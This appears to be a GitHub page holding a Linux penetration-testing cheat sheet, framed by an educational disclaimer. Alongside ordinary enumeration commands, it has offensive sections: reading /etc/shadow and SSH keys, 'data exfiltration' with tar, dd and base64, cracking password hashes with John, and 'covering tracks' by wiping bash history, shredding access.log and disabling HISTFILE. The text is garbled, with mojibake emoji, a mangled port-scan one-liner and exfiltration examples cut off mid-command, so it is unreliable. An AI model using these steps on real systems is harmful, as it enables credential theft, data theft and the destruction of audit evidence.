You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
π§ Linux Penetration Testing with GNU Utils: The Ultimate Cheat Sheet
DISCLAIMER: This information is for educational purposes only. Always obtain proper authorization before performing any penetration testing activities. Unauthorized testing is illegal and unethical.
π§ Show / manipulate routing, devices, policy routing and tunnels
ip addr show
arp
π Manipulate the system ARP cache
arp -e
dig
π DNS lookup utility
dig example.com
π» System Enumeration
Command
Description
Example
uname
π» Print system information
uname -a
lsof
π List open files
lsof -i
ps
π Report process status
ps aux
who
π₯ Show who is logged on
who
w
π Show who is logged on and what they are doing
w
π File and Directory Operations
Command
Description
Example
find
π Search for files in a directory hierarchy
find / -perm -4000 2>/dev/null
grep
π Search file patterns
grep -r "password" /etc/
sed
π Stream editor for filtering and transforming text
sed -i 's/old/new/g' file.txt
awk
π§ Pattern scanning and processing language
awk -F: '{print $1}' /etc/passwd
π User and Permission Management
Command
Description
Example
id
π Print user and group information
id
sudo
π Execute a command as another user
sudo -l
su
π€ Change user ID or become superuser
su - username
chmod
π Change file mode bits
chmod 600 file.txt
chown
π Change file owner and group
chown user:group file.txt
π Network Probing
Command
Description
Example
ping
π‘ Send ICMP ECHO_REQUEST to network hosts
ping -c 4 192.168.1.1
traceroute
πΊοΈ Print the route packets trace to network host
traceroute example.com
nc
π TCP/IP swiss army knife
nc -zv 192.168.1.1 1-1000
curl
π Transfer data from or to a server
curl -I http://example.com
wget
π₯ Non-interactive network downloader
wget http://example.com/file.txt
π‘ Simple Servers
Command
Description
Example
python -m SimpleHTTPServer
π Start a simple HTTP server
python -m SimpleHTTPServer 8000
nc -l
π Create a simple listening server
nc -l -p 8000
π¬ Post Exploitation
Command
Description
Example
cat /etc/passwd
π₯ View user accounts
cat /etc/passwd
cat /etc/shadow
π View password hashes (requires root)
cat /etc/shadow
cat /etc/group
π₯ View groups
cat /etc/group
ls -la /etc/cron*
β° List cron jobs
ls -la /etc/cron*
ls -la ~/.ssh/
π List SSH keys
ls -la ~/.ssh/
history
π View command history
history
π‘ Data Exfiltration
Command
Description
Example
tar
π¦ Create a tarball
`tar czf - /important
dd
πΎ Convert and copy a file
`dd if=/dev/sda
base64
π‘ Base64 encode/decode data
`base64 secretfile
π§Ή Covering Tracks
Command
Description
Example
history -c
π§½ Clear bash history
history -c
echo "" > ~/.bash_history
π§Ό Clear bash history file
echo "" > ~/.bash_history
shred
π₯ Overwrite a file to hide its contents
shred -zu access.log
unset HISTFILE
π« Disable bash history
unset HISTFILE
π Useful One-Liners
# π Find all SUID executables
find / -perm -4000 -type f 2>/dev/null
# π Find writable directories
find / -writable -type d 2>/dev/null
# π Scan for open portsforpin {1..65535};do nc -zv 192.168.1.1 $p2>&1| grep -v 'Connection refused';done# π Generate a wordlist from website
curl http://example.com | grep -oE '\w+'| sort -u > wordlist.txt
# π₯ Extract usernames from /etc/passwd
awk -F: '{print $1}' /etc/passwd
# πΆ Monitor network traffic
tcpdump -i eth0 -nn -s0 -v port 80
# π Crack /etc/shadow passwords with John (if installed)
unshadow /etc/passwd /etc/shadow > mypasswd && john mypasswd
π Pro Tips
π§ Master text manipulation tools like sed, awk, and grep.
π Familiarize yourself with /proc filesystem for live system information.
π Use openssl for encryption/decryption when needed.
π‘ Leverage bash built-ins for network operations when other tools aren't available.
π§ Combine commands with pipes (|) for powerful operations.
π Use command substitution ($(command)) to use output of one command as arguments for another.
π Create simple scripts to automate repetitive tasks.
π Always clean up after your testing activities.
π Study man pages to discover lesser-known features of GNU utilities.
π§ͺ Practice in a controlled environment before real-world application.
Remember, these tools should only be used ethically and with explicit permission. Always respect legal and ethical boundaries in your security testing. π‘οΈπ